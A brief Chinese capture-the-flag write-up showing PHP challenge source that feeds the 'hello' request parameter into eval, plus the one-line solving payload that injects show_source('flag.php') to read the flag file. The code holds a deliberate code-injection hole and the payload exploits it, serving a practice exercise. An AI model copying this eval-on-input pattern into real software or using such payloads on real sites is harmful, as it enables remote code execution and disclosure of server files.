页面源码
<code><span style="color: #000000">
<span style="color: #0000BB"><?php
<br /> </span><span style="color: #007700">include </span><span style="color: #DD0000">"flag.php"</span><span style="color: #007700">;
<br /> </span><span style="color: #0000BB">$a </span><span style="color: #007700">= @</span><span style="color: #0000BB">$_REQUEST</span><span style="color: #007700">[</span><span style="color: #DD0000">'hello'</span><span style="color: #007700">];
<br /> eval( </span><span style="color: #DD0000">"var_dump(</span><span style="color: #0000BB">$a</span><span style="color: #DD0000">);"</span><span style="color: #007700">);
<br /> </span><span style="color: #0000BB">show_source</span><span style="color: #007700">(</span><span style="color: #0000BB">__FILE__</span><span style="color: #007700">);
<br /></span><span style="color: #0000BB">?></span>
</span>
</code>
这里考察基础php语法
?hello=show_source(%27flag.php%27)